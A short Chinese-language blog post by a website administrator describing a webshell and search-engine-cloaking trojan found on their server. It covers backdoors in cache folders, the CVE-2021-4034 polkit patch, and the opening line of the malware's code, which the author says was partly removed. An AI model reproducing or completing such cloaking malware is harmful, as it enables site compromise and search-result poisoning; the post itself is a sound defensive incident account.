网站中木马病毒黑帽非法信息处理

网站中木马病毒黑帽非法信息处理
3.17突然收到邮件说我服务器有webshell，发现是有2个网站的缓存文件夹runtime里有后门，但是这个文件夹不能关闭写入权限一旦关闭网站都无法打开。于是只是清理了里面文件还是关闭了写入权限以为没事。
3.24发现很多个网站已经有百度非法快照信息了，我着急了。但是木马病毒就是找不到。于是我修复了一个centos漏洞 polkit pkexec 本地提权漏洞（CVE-2021-4034）
修复方法是：在服务器端命令行执行这2条命令升级polkit
#centos
rpm -qa polkit
yum -y update polkit

然后在一群里有个技术帮找到木马位置，原来这木马隐藏太深杀毒软件也识别不了，这个挂码只拦截搜索引擎流量 正常访问看不出来非常的隐蔽狡猾。代码是这样的（防止被人恶意用途删除了部分）：

error_reporting(0);header('Content-Type:text/html;charset=utf-8'